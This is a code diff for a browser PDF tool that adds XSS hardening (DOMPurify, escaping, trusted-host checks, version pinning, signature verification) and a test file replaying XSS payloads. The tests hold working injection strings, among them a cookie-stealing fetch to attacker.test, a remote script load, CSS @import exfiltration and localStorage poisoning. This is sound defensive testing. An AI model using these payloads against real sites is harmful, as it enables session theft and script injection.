// NOTE: This is a work in progress and does not work correctly as of yet
import DOMPurify from 'dompurify';
import { showLoader, hideLoader, showAlert } from '../ui.js';
import { readFileAsArrayBuffer } from '../utils/helpers.js';
import { state } from '../state.js';
@@ -41,17 +42,20 @@ export async function wordToPdf() {
const downloadBtn = document.getElementById('preview-download-btn');
const closeBtn = document.getElementById('preview-close-btn');
const styledHtml = `
<style>
#preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; }
#preview-content table { border-collapse: collapse; width: 100%; }
#preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; }
#preview-content img { max-width: 100%; height: auto; }
#preview-content a { color: #0000ee; text-decoration: underline; }
</style>
${html}
`;
previewContent.innerHTML = styledHtml;
const STYLE_ID = 'word-to-pdf-preview-style';
if (!document.getElementById(STYLE_ID)) {
const styleEl = document.createElement('style');
styleEl.id = STYLE_ID;
styleEl.textContent = `
#preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; }
#preview-content table { border-collapse: collapse; width: 100%; }
#preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; }
#preview-content img { max-width: 100%; height: auto; }
#preview-content a { color: #0000ee; text-decoration: underline; }
`;
document.head.appendChild(styleEl);
}
previewContent.innerHTML = DOMPurify.sanitize(html);
const marginDiv = document.createElement('div');
marginDiv.style.height = '100px';

View File

@@ -5,7 +5,11 @@ import { createIcons, icons } from 'lucide';
import '@phosphor-icons/web/regular';
import * as pdfjsLib from 'pdfjs-dist';
import '../css/styles.css';
import { formatShortcutDisplay, formatStars } from './utils/helpers.js';
import {
escapeHtml,
formatShortcutDisplay,
formatStars,
} from './utils/helpers.js';
import {
initI18n,
applyTranslations,
@@ -1051,8 +1055,8 @@ const init = async () => {
await showWarningModal(
t('settings.warnings.alreadyInUse'),
`<strong>${displayCombo}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
`<em>"${translatedToolName}"</em><br><br>` +
`<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
`<em>"${escapeHtml(translatedToolName)}"</em><br><br>` +
t('settings.warnings.chooseDifferent'),
false
);
@@ -1071,8 +1075,8 @@ const init = async () => {
const displayCombo = formatShortcutDisplay(combo, isMac);
const shouldProceed = await showWarningModal(
t('settings.warnings.reserved'),
`<strong>${displayCombo}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
`"<em>${reservedWarning}</em>"<br><br>` +
`<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
`"<em>${escapeHtml(reservedWarning)}</em>"<br><br>` +
`${t('settings.warnings.unreliable')}<br><br>` +
t('settings.warnings.useAnyway')
);

View File

@@ -1,55 +1,111 @@
/**
* Service Worker Registration
* Registers the service worker to enable offline caching
*
*
* Note: Service Worker is disabled in development mode to prevent
* conflicts with Vite's HMR (Hot Module Replacement)
*/
// Skip service worker registration in development mode
const isDevelopment = window.location.hostname === 'localhost' ||
window.location.hostname === '127.0.0.1' ||
window.location.port !== '';
const isDevelopment =
window.location.hostname === 'localhost' ||
window.location.hostname === '127.0.0.1' ||
window.location.port !== '';
function collectTrustedWasmHosts(): string[] {
const hosts = new Set<string>();
const candidates = [
import.meta.env.VITE_WASM_PYMUPDF_URL,
import.meta.env.VITE_WASM_GS_URL,
import.meta.env.VITE_WASM_CPDF_URL,
import.meta.env.VITE_TESSERACT_WORKER_URL,
import.meta.env.VITE_TESSERACT_CORE_URL,
import.meta.env.VITE_TESSERACT_LANG_URL,
import.meta.env.VITE_OCR_FONT_BASE_URL,
];
for (const raw of candidates) {
if (!raw) continue;
try {
hosts.add(new URL(raw).origin);
} catch {
console.warn(
`[SW] Ignoring malformed VITE_* URL for SW trusted-hosts: ${raw}`
);
}
}
return Array.from(hosts);
}
function sendTrustedHostsToSw(target: ServiceWorker | null | undefined) {
if (!target) return;
const hosts = collectTrustedWasmHosts();
if (hosts.length === 0) return;
target.postMessage({ type: 'SET_TRUSTED_CDN_HOSTS', hosts });
}
if (isDevelopment) {
console.log('[Dev Mode] Service Worker registration skipped in development');
console.log('Service Worker will be active in production builds');
console.log('[Dev Mode] Service Worker registration skipped in development');
console.log('Service Worker will be active in production builds');
} else if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
const swPath = `${import.meta.env.BASE_URL}sw.js`;
console.log('[SW] Registering Service Worker at:', swPath);
navigator.serviceWorker
.register(swPath)
.then((registration) => {
console.log('[SW] Service Worker registered successfully:', registration.scope);
window.addEventListener('load', () => {
const swPath = `${import.meta.env.BASE_URL}sw.js`;
console.log('[SW] Registering Service Worker at:', swPath);
navigator.serviceWorker
.register(swPath)
.then((registration) => {
console.log(
'[SW] Service Worker registered successfully:',
registration.scope
);
setInterval(() => {
registration.update();
}, 24 * 60 * 60 * 1000);
sendTrustedHostsToSw(
registration.active || registration.waiting || registration.installing
);
registration.addEventListener('updatefound', () => {
const newWorker = registration.installing;
if (newWorker) {
newWorker.addEventListener('statechange', () => {
if (newWorker.state === 'installed' && navigator.serviceWorker.controller) {
console.log('[SW] New version available! Reload to update.');
setInterval(
() => {
registration.update();
},
24 * 60 * 60 * 1000
);
if (confirm('A new version of BentoPDF is available. Reload to update?')) {
newWorker.postMessage({ type: 'SKIP_WAITING' });
window.location.reload();
}
}
});
}
});
})
.catch((error) => {
console.error('[SW] Service Worker registration failed:', error);
registration.addEventListener('updatefound', () => {
const newWorker = registration.installing;
if (newWorker) {
newWorker.addEventListener('statechange', () => {
if (newWorker.state === 'activated') {
sendTrustedHostsToSw(newWorker);
}
if (
newWorker.state === 'installed' &&
navigator.serviceWorker.controller
) {
console.log('[SW] New version available! Reload to update.');
if (
confirm(
'A new version of BentoPDF is available. Reload to update?'
)
) {
newWorker.postMessage({ type: 'SKIP_WAITING' });
window.location.reload();
}
}
});
navigator.serviceWorker.addEventListener('controllerchange', () => {
console.log('[SW] New service worker activated, reloading...');
window.location.reload();
}
});
})
.catch((error) => {
console.error('[SW] Service Worker registration failed:', error);
});
navigator.serviceWorker.ready.then((registration) => {
sendTrustedHostsToSw(registration.active);
});
navigator.serviceWorker.addEventListener('controllerchange', () => {
console.log('[SW] New service worker activated, reloading...');
window.location.reload();
});
});
}

View File

@@ -1,47 +1,51 @@
import forge from 'node-forge';
export interface SignatureValidationResult {
signatureIndex: number;
isValid: boolean;
signerName: string;
signerOrg?: string;
signerEmail?: string;
issuer: string;
issuerOrg?: string;
signatureDate?: Date;
validFrom: Date;
validTo: Date;
isExpired: boolean;
isSelfSigned: boolean;
isTrusted: boolean;
algorithms: {
digest: string;
signature: string;
};
serialNumber: string;
reason?: string;
location?: string;
contactInfo?: string;
byteRange?: number[];
coverageStatus: 'full' | 'partial' | 'unknown';
errorMessage?: string;
signatureIndex: number;
isValid: boolean;
signerName: string;
signerOrg?: string;
signerEmail?: string;
issuer: string;
issuerOrg?: string;
signatureDate?: Date;
validFrom: Date;
validTo: Date;
isExpired: boolean;
isSelfSigned: boolean;
isTrusted: boolean;
algorithms: {
digest: string;
signature: string;
};
serialNumber: string;
reason?: string;
location?: string;
contactInfo?: string;
byteRange?: number[];
coverageStatus: 'full' | 'partial' | 'unknown';
errorMessage?: string;
cryptoVerified?: boolean;
cryptoVerificationStatus?: 'verified' | 'failed' | 'unsupported';
unsupportedAlgorithmReason?: string;
usesInsecureDigest?: boolean;
}
export interface ExtractedSignature {
index: number;
contents: Uint8Array;
byteRange: number[];
reason?: string;
location?: string;
contactInfo?: string;
name?: string;
signingTime?: string;
index: number;
contents: Uint8Array;
byteRange: number[];
reason?: string;
location?: string;
contactInfo?: string;
name?: string;
signingTime?: string;
}
export interface ValidateSignatureState {
pdfFile: File | null;
pdfBytes: Uint8Array | null;
results: SignatureValidationResult[];
trustedCertFile: File | null;
trustedCert: forge.pki.Certificate | null;
pdfFile: File | null;
pdfBytes: Uint8Array | null;
results: SignatureValidationResult[];
trustedCertFile: File | null;
trustedCert: forge.pki.Certificate | null;
}

View File

@@ -4,6 +4,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
import { createIcons } from 'lucide';
import { state, resetState } from '../state.js';
import * as pdfjsLib from 'pdfjs-dist';
import DOMPurify from 'dompurify';
import type { DocumentInitParameters } from 'pdfjs-dist/types/src/display/api';
const STANDARD_SIZES = {
@@ -319,19 +320,12 @@ export function uint8ArrayToBase64(bytes: Uint8Array): string {
export function sanitizeEmailHtml(html: string): string {
if (!html) return html;
let sanitized = html;
let sanitized = DOMPurify.sanitize(html, {
FORBID_TAGS: ['style', 'link', 'script', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['style'],
ALLOW_DATA_ATTR: false,
});
sanitized = sanitized.replace(/<head[^>]*>[\s\S]*?<\/head>/gi, '');
sanitized = sanitized.replace(/<style[^>]*>[\s\S]*?<\/style>/gi, '');
sanitized = sanitized.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
sanitized = sanitized.replace(/<link[^>]*>/gi, '');
sanitized = sanitized.replace(/\s+style=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(/\s+class=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(/\s+data-[a-z-]+=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(
/<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
''
);
sanitized = sanitized.replace(
/href=["']https?:\/\/[^"']*safelinks\.protection\.outlook\.com[^"']*url=([^&"']+)[^"']*["']/gi,
(match, encodedUrl) => {
@@ -343,10 +337,9 @@ export function sanitizeEmailHtml(html: string): string {
}
}
);
sanitized = sanitized.replace(/\s+originalsrc=["'][^"']*["']/gi, '');
sanitized = sanitized.replace(
/href=["']([^"']{500,})["']/gi,
(match, url) => {
(_match, url: string) => {
const baseUrl = url.split('?')[0];
if (baseUrl && baseUrl.length < 200) {
return `href="${baseUrl}"`;
@@ -354,15 +347,12 @@ export function sanitizeEmailHtml(html: string): string {
return `href="${url.substring(0, 200)}"`;
}
);
sanitized = sanitized.replace(
/\s+(cellpadding|cellspacing|bgcolor|border|valign|align|width|height|role|dir|id)=["'][^"']*["']/gi,
/<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
''
);
sanitized = sanitized.replace(/<\/?table[^>]*>/gi, '<div>');
sanitized = sanitized.replace(/<\/?tbody[^>]*>/gi, '');
sanitized = sanitized.replace(/<\/?thead[^>]*>/gi, '');
sanitized = sanitized.replace(/<\/?tfoot[^>]*>/gi, '');
sanitized = sanitized.replace(/<\/?(tbody|thead|tfoot)[^>]*>/gi, '');
sanitized = sanitized.replace(/<tr[^>]*>/gi, '<div>');
sanitized = sanitized.replace(/<\/tr>/gi, '</div>');
sanitized = sanitized.replace(/<td[^>]*>/gi, '<span> ');
@@ -373,10 +363,6 @@ export function sanitizeEmailHtml(html: string): string {
sanitized = sanitized.replace(/<span>\s*<\/span>/gi, '');
sanitized = sanitized.replace(/(<div>)+/gi, '<div>');
sanitized = sanitized.replace(/(<\/div>)+/gi, '</div>');
sanitized = sanitized.replace(
/<a[^>]*href=["']\s*["'][^>]*>([^<]*)<\/a>/gi,
'$1'
);
const MAX_HTML_SIZE = 100000;
if (sanitized.length > MAX_HTML_SIZE) {

View File

@@ -1,4 +1,5 @@
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';
import hljs from 'highlight.js/lib/core';
import javascript from 'highlight.js/lib/languages/javascript';
import typescript from 'highlight.js/lib/languages/typescript';
@@ -297,7 +298,7 @@ export class MarkdownEditor {
mermaid.initialize({
startOnLoad: false,
theme: 'default',
securityLevel: 'loose',
securityLevel: 'strict',
fontFamily:
'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif',
});
@@ -691,7 +692,9 @@ export class MarkdownEditor {
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html;
this.preview.innerHTML = DOMPurify.sanitize(html, {
ADD_ATTR: ['target'],
});
this.renderMermaidDiagrams();
}
@@ -714,7 +717,9 @@ export class MarkdownEditor {
const wrapper = document.createElement('div');
wrapper.className = 'mermaid-diagram';
wrapper.innerHTML = svg;
wrapper.innerHTML = DOMPurify.sanitize(svg, {
USE_PROFILES: { svg: true, svgFilters: true },
});
pre.replaceWith(wrapper);
} catch (error) {
@@ -740,7 +745,9 @@ export class MarkdownEditor {
}
public getHtml(): string {
return this.md.render(this.getContent());
return DOMPurify.sanitize(this.md.render(this.getContent()), {
ADD_ATTR: ['target'],
});
}
private exportPdf(): void {

View File

@@ -10,8 +10,8 @@ const STORAGE_KEY = 'bentopdf:wasm-providers';
const CDN_DEFAULTS: Record<WasmPackage, string> = {
pymupdf: 'https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/',
ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/',
cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf/dist/',
ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/',
cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/',
};
function envOrDefault(envVar: string | undefined, fallback: string): string {
@@ -30,20 +30,77 @@ const ENV_DEFAULTS: Record<WasmPackage, string> = {
cpdf: envOrDefault(import.meta.env.VITE_WASM_CPDF_URL, CDN_DEFAULTS.cpdf),
};
function hostnameOf(url: string): string | null {
try {
return new URL(url).hostname;
} catch {
return null;
}
}
function collectBuiltinTrustedHosts(): Set<string> {
const hosts = new Set<string>();
if (typeof location !== 'undefined' && location.hostname) {
hosts.add(location.hostname);
}
for (const url of Object.values(CDN_DEFAULTS)) {
const h = hostnameOf(url);
if (h) hosts.add(h);
}
for (const url of Object.values(ENV_DEFAULTS)) {
const h = hostnameOf(url);
if (h) hosts.add(h);
}
return hosts;
}
const BUILTIN_TRUSTED_HOSTS = collectBuiltinTrustedHosts();
class WasmProviderManager {
private config: WasmProviderConfig;
private validationCache: Map<WasmPackage, boolean> = new Map();
private trustedHosts: Set<string> = new Set<string>(BUILTIN_TRUSTED_HOSTS);
constructor() {
this.config = this.loadConfig();
}
private isTrustedUrl(url: string): boolean {
const host = hostnameOf(url);
return !!host && this.trustedHosts.has(host);
}
private loadConfig(): WasmProviderConfig {
try {
const stored = localStorage.getItem(STORAGE_KEY);
if (stored) {
return JSON.parse(stored);
if (!stored) return {};
const parsed = JSON.parse(stored) as WasmProviderConfig;
const safe: WasmProviderConfig = {};
let dropped = false;
for (const key of ['pymupdf', 'ghostscript', 'cpdf'] as WasmPackage[]) {
const url = parsed[key];
if (typeof url !== 'string') continue;
if (this.isTrustedUrl(url)) {
safe[key] = url;
} else {
dropped = true;
console.warn(
`[WasmProvider] Ignoring untrusted stored URL for ${key}: ${url}. ` +
'Reconfigure via Advanced Settings to re-enable.'
);
}
}
if (dropped) {
try {
localStorage.setItem(STORAGE_KEY, JSON.stringify(safe));
} catch (e) {
console.error(
'[WasmProvider] Failed to scrub untrusted config from localStorage:',
e
);
}
}
return safe;
} catch (e) {
console.warn(
'[WasmProvider] Failed to load config from localStorage:',
@@ -66,11 +123,23 @@ class WasmProviderManager {
}
getUrl(packageName: WasmPackage): string | undefined {
return this.config[packageName] || this.getEnvDefault(packageName);
const stored = this.config[packageName];
if (stored) {
if (this.isTrustedUrl(stored)) return stored;
console.warn(
`[WasmProvider] Refusing to use untrusted URL for ${packageName}; falling back to env default.`
);
}
return this.getEnvDefault(packageName);
}
setUrl(packageName: WasmPackage, url: string): void {
const normalizedUrl = url.endsWith('/') ? url : `${url}/`;
const host = hostnameOf(normalizedUrl);
if (!host) {
throw new Error('Invalid URL');
}
this.trustedHosts.add(host);
this.config[packageName] = normalizedUrl;
this.validationCache.delete(packageName);
this.saveConfig();
@@ -219,6 +288,7 @@ class WasmProviderManager {
clearAll(): void {
this.config = {};
this.validationCache.clear();
this.trustedHosts = new Set<string>(BUILTIN_TRUSTED_HOSTS);
try {
localStorage.removeItem(STORAGE_KEY);
} catch (e) {

View File

@@ -375,7 +375,6 @@
<div
id="upload-area"
class="hidden border-2 border-dashed border-gray-600 rounded-lg p-6 sm:p-12 text-center max-w-full cursor-pointer"
onclick="document.getElementById('pdf-file-input').click()"
>
<i
data-lucide="upload-cloud"
@@ -401,10 +400,7 @@
class="hidden"
/>
<button
onclick="
event.stopPropagation();
document.getElementById('pdf-file-input').click();
"
id="pdf-file-input-select-btn"
class="bg-indigo-600 hover:bg-indigo-700 text-white px-4 sm:px-6 py-2 rounded text-sm sm:text-base"
data-i18n="multiTool.selectFiles"
>

View File

@@ -218,9 +218,7 @@
</h3>
<p id="alert-message" class="text-gray-300 mb-6"></p>
<button
onclick="
document.getElementById('alert-modal').classList.add('hidden')
"
id="alert-ok"
class="w-full bg-indigo-600 hover:bg-indigo-700 text-white font-semibold py-2 px-4 rounded-lg transition-colors duration-200"
>
OK

View File

@@ -191,10 +191,10 @@
<span class="text-xs text-gray-500">Recommended:</span>
<code
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
>https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/</code
>https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/</code
>
<button
data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/"
data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/"
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
title="Copy to clipboard"
>
@@ -238,10 +238,10 @@
<span class="text-xs text-gray-500">Recommended:</span>
<code
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
>https://cdn.jsdelivr.net/npm/coherentpdf/dist/</code
>https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/</code
>
<button
data-copy="https://cdn.jsdelivr.net/npm/coherentpdf/dist/"
data-copy="https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/"
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
title="Copy to clipboard"
>

View File

@@ -0,0 +1,365 @@
import { describe, it, expect, beforeEach, vi } from 'vitest';
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';
import forge from 'node-forge';
import { escapeHtml, sanitizeEmailHtml } from '../js/utils/helpers';
import { validateSignature } from '../js/logic/validate-signature-pdf';
import type { ExtractedSignature } from '@/types';
function renderAsPreviewWould(markdown: string): string {
const md = new MarkdownIt({
html: true,
breaks: false,
linkify: true,
typographer: true,
});
const raw = md.render(markdown);
return DOMPurify.sanitize(raw, { ADD_ATTR: ['target'] });
}
function assertNoExecutableContent(html: string) {
const doc = document.implementation.createHTMLDocument('x');
const root = doc.createElement('div');
root.innerHTML = html;
doc.body.appendChild(root);
const all = root.querySelectorAll('*');
expect(
root.querySelector('script'),
`<script> survived:\n${html}`
).toBeNull();
for (const el of Array.from(all)) {
for (const attr of Array.from(el.attributes)) {
expect(
/^on/i.test(attr.name),
`Element <${el.tagName.toLowerCase()}> has event handler ${attr.name}="${attr.value}" from:\n${html}`
).toBe(false);
if (
['href', 'src', 'xlink:href', 'formaction', 'action'].includes(
attr.name.toLowerCase()
)
) {
expect(
/^\s*javascript:/i.test(attr.value),
`Element <${el.tagName.toLowerCase()}> has ${attr.name}="${attr.value}" from:\n${html}`
).toBe(false);
}
}
}
const iframes = root.querySelectorAll('iframe[srcdoc]');
expect(iframes.length, `<iframe srcdoc> survived:\n${html}`).toBe(0);
}
describe('XSS replay — Markdown-to-PDF preview path', () => {
it('neutralizes the exact payload from the security report', () => {
const payload = `# Quarterly Financial Report Q1 2026
## Executive Summary
Revenue growth exceeded expectations at 12.3% YoY.
<img src=x onerror="var s=document.createElement('script');s.src='http://127.0.0.1:9999/payload.js';document.head.appendChild(s)">
## Outlook
Management maintains FY2026 guidance.
`;
const html = renderAsPreviewWould(payload);
assertNoExecutableContent(html);
const doc = document.implementation.createHTMLDocument('x');
const root = doc.createElement('div');
root.innerHTML = html;
const img = root.querySelector('img');
expect(img).not.toBeNull();
expect(img?.getAttribute('onerror')).toBeNull();
});
it('strips <script> tags from raw markdown', () => {
const html = renderAsPreviewWould(`<script>alert(1)</script>`);
assertNoExecutableContent(html);
});
it('strips event-handler attributes from every HTML tag markdown-it passes through', () => {
const html = renderAsPreviewWould(`
<svg onload="alert(1)"><text>x</text></svg>
<details ontoggle="alert(1)" open><summary>x</summary></details>
<body onfocus="alert(1)">
<input autofocus onfocus="alert(1)">
<video autoplay onloadstart="alert(1)"><source src=x></video>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<form><button formaction="javascript:alert(1)">x</button></form>
`);
assertNoExecutableContent(html);
});
it('blocks javascript: href on plain markdown links', () => {
const html = renderAsPreviewWould('[click me](javascript:alert(1))');
assertNoExecutableContent(html);
});
it('blocks data: URLs in script contexts but preserves data: in images', () => {
const html = renderAsPreviewWould(
`![img](data:image/png;base64,AAAA)\n<script src="data:text/javascript,alert(1)"></script>`
);
assertNoExecutableContent(html);
expect(html).toContain('src="data:image/png');
});
it('defeats attribute-injection via quote-breakout in markdown link titles', () => {
const html = renderAsPreviewWould(
'[x](https://example.com "a\\" onmouseover=alert(1) x=\\"")'
);
assertNoExecutableContent(html);
});
it('mermaid click directive with javascript: is stripped by SVG sanitizer', () => {
const evilSvg = `<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert('mermaid click')"><rect width="10" height="10"/></a>
<g onclick="alert(1)"><text>label</text></g>
<foreignObject><body><img src=x onerror="alert(1)"></body></foreignObject>
<script>alert(1)</script>
</svg>`;
const clean = DOMPurify.sanitize(evilSvg, {
USE_PROFILES: { svg: true, svgFilters: true },
});
assertNoExecutableContent(clean);
expect(clean).not.toMatch(/javascript:/i);
});
});
describe('XSS replay — filename sink', () => {
it('escapeHtml neutralizes an attacker-supplied .pdf filename before it reaches innerHTML', () => {
const evilName = `<img src=x onerror="fetch('https://attacker.test/steal?d=' + btoa(document.cookie))">.pdf`;
const rendered = `<p class="truncate font-medium text-white">${escapeHtml(evilName)}</p>`;
const host = document.createElement('div');
host.innerHTML = rendered;
expect(host.querySelector('img')).toBeNull();
expect(host.textContent).toContain(evilName);
});
it('createElement + textContent neutralizes the same payload (deskew/form-filler path)', () => {
const evilName = `<img src=x onerror="alert(1)">.pdf`;
const host = document.createElement('div');
const span = document.createElement('span');
span.textContent = evilName;
host.appendChild(span);
expect(host.querySelector('img')).toBeNull();
expect(span.textContent).toBe(evilName);
});
});
describe('XSS replay — WASM provider localStorage poisoning', () => {
beforeEach(() => {
localStorage.clear();
});
it('the exact PoC payload writes attacker URLs to localStorage — audit the key shape', () => {
const wasmPayload = {
pymupdf: 'https://attacker.test/wasm/pymupdf/',
ghostscript: 'https://attacker.test/wasm/gs/',
cpdf: 'https://attacker.test/wasm/cpdf/',
};
localStorage.setItem(
'bentopdf:wasm-providers',
JSON.stringify(wasmPayload)
);
const stored = localStorage.getItem('bentopdf:wasm-providers');
expect(stored).toContain('attacker.test');
});
it('WasmProvider scrubs the untrusted URLs on load and falls back to env defaults', async () => {
localStorage.setItem(
'bentopdf:wasm-providers',
JSON.stringify({
pymupdf: 'https://attacker.test/wasm/pymupdf/',
ghostscript: 'https://attacker.test/wasm/gs/',
cpdf: 'https://attacker.test/wasm/cpdf/',
})
);
vi.resetModules();
const { WasmProvider } = await import('../js/utils/wasm-provider');
const got = WasmProvider.getUrl('pymupdf');
expect(got).not.toContain('attacker.test');
expect(got).toMatch(/cdn\.jsdelivr\.net|^https?:\/\/[^/]+\//);
const remaining = JSON.parse(
localStorage.getItem('bentopdf:wasm-providers') || '{}'
);
expect(remaining.pymupdf).toBeUndefined();
expect(remaining.ghostscript).toBeUndefined();
expect(remaining.cpdf).toBeUndefined();
});
});
describe('XSS replay — CDN URL version pinning', () => {
it('every WASM CDN default URL is pinned to an exact patch version', async () => {
const { WasmProvider } = await import('../js/utils/wasm-provider');
const urls = WasmProvider.getAllProviders();
for (const [pkg, url] of Object.entries(urls)) {
if (!url) continue;
if (!url.includes('cdn.jsdelivr.net')) continue;
expect(
/@\d+\.\d+\.\d+/.test(url),
`${pkg} URL "${url}" must be pinned to an exact version (e.g. pkg@1.2.3)`
).toBe(true);
}
});
});
describe('XSS replay — sanitizeEmailHtml (DOMPurify-backed)', () => {
it('strips <script> tags and event handlers that a regex sanitizer would miss', () => {
const mutationPayloads = [
'<scr<script>ipt>alert(1)</scr</script>ipt>',
'<img/src=x/onerror=alert(1)>',
'<svg><animate onbegin=alert(1) attributeName=x /></svg>',
'<math><mo><a href=javascript:alert(1)>x</a></mo></math>',
'<iframe src="javascript:alert(1)"></iframe>',
'<object data="javascript:alert(1)"></object>',
'<embed src="javascript:alert(1)">',
];
for (const raw of mutationPayloads) {
const out = sanitizeEmailHtml(raw);
const doc = document.implementation.createHTMLDocument('x');
const root = doc.createElement('div');
root.innerHTML = out;
expect(
root.querySelector('script, iframe, object, embed, link'),
`mutation payload survived: ${raw}\n-> ${out}`
).toBeNull();
for (const el of Array.from(root.querySelectorAll('*'))) {
for (const attr of Array.from(el.attributes)) {
expect(/^on/i.test(attr.name), `event handler survived: ${raw}`).toBe(
false
);
if (
['href', 'src'].includes(attr.name.toLowerCase()) &&
/^\s*javascript:/i.test(attr.value)
) {
throw new Error(`javascript: URL survived: ${raw}`);
}
}
}
}
});
it('strips <style> and <link> to avoid @import / external stylesheet exfil', () => {
const out = sanitizeEmailHtml(
'<html><head><style>@import url(http://attacker/steal);</style><link rel=stylesheet href=http://attacker></head><body>hi</body></html>'
);
expect(out).not.toMatch(/@import/i);
expect(out.toLowerCase()).not.toContain('<style');
expect(out.toLowerCase()).not.toContain('<link');
});
});
describe('XSS replay — PDF signature cryptographic verification', () => {
function buildSignedPdf(digestAlgorithm: string = forge.pki.oids.sha256): {
pdfBytes: Uint8Array;
byteRange: number[];
p7Der: Uint8Array;
} {
const keys = forge.pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
const cert = forge.pki.createCertificate();
cert.publicKey = keys.publicKey;
cert.serialNumber = '01';
const attrs = [
{ name: 'commonName', value: 'Test Signer' },
{ name: 'countryName', value: 'US' },
];
cert.setSubject(attrs);
cert.setIssuer(attrs);
cert.validity.notBefore = new Date(Date.now() - 86400000);
cert.validity.notAfter = new Date(Date.now() + 365 * 86400000);
cert.sign(keys.privateKey, forge.md.sha256.create());
const contentBefore = '%PDF-1.4\nsigned content A\n';
const contentAfter = '\nsigned content B\n%%EOF\n';
const placeholderLen = 0;
const signedContent = new TextEncoder().encode(
contentBefore + contentAfter
);
const p7 = forge.pkcs7.createSignedData();
p7.content = forge.util.createBuffer(String.fromCharCode(...signedContent));
p7.addCertificate(cert);
p7.addSigner({
key: keys.privateKey,
certificate: cert,
digestAlgorithm,
authenticatedAttributes: [
{ type: forge.pki.oids.contentType, value: forge.pki.oids.data },
{ type: forge.pki.oids.messageDigest },
// @ts-expect-error runtime accepts Date, type defs say string
{ type: forge.pki.oids.signingTime, value: new Date() },
],
});
p7.sign({ detached: true });
const p7Asn1 = p7.toAsn1();
const p7Der = forge.asn1.toDer(p7Asn1).getBytes();
const p7Bytes = new Uint8Array(p7Der.length);
for (let i = 0; i < p7Der.length; i++) p7Bytes[i] = p7Der.charCodeAt(i);
const beforeBytes = new TextEncoder().encode(contentBefore);
const afterBytes = new TextEncoder().encode(contentAfter);
const pdfBytes = new Uint8Array(
beforeBytes.length + afterBytes.length + placeholderLen
);
pdfBytes.set(beforeBytes, 0);
pdfBytes.set(afterBytes, beforeBytes.length);
const byteRange = [
0,
beforeBytes.length,
beforeBytes.length + placeholderLen,
afterBytes.length,
];
return { pdfBytes, byteRange, p7Der: p7Bytes };
}
it('flags untouched signed bytes as cryptoVerified=true', async () => {
const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
const sig: ExtractedSignature = {
index: 0,
contents: p7Der,
byteRange,
};
const result = await validateSignature(sig, pdfBytes);
expect(result.cryptoVerified).toBe(true);
expect(result.errorMessage).toBeUndefined();
});
it('flips a byte inside the signed range → cryptoVerified=false and isValid=false', async () => {
const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
const tampered = new Uint8Array(pdfBytes);
tampered[10] ^= 0xff;
const sig: ExtractedSignature = {
index: 0,
contents: p7Der,
byteRange,
};
const result = await validateSignature(sig, tampered);
expect(result.cryptoVerified).toBe(false);
expect(result.isValid).toBe(false);
expect(result.errorMessage).toMatch(
/hash does not match|does not verify|PDF was modified/i
);
});
it('refuses MD5 as the digest algorithm even when bytes match', async () => {
const { pdfBytes, byteRange, p7Der } = buildSignedPdf(forge.pki.oids.md5);
const sig: ExtractedSignature = {
index: 0,
contents: p7Der,
byteRange,
};
const result = await validateSignature(sig, pdfBytes);
expect(result.usesInsecureDigest).toBe(true);
expect(result.isValid).toBe(false);
});
});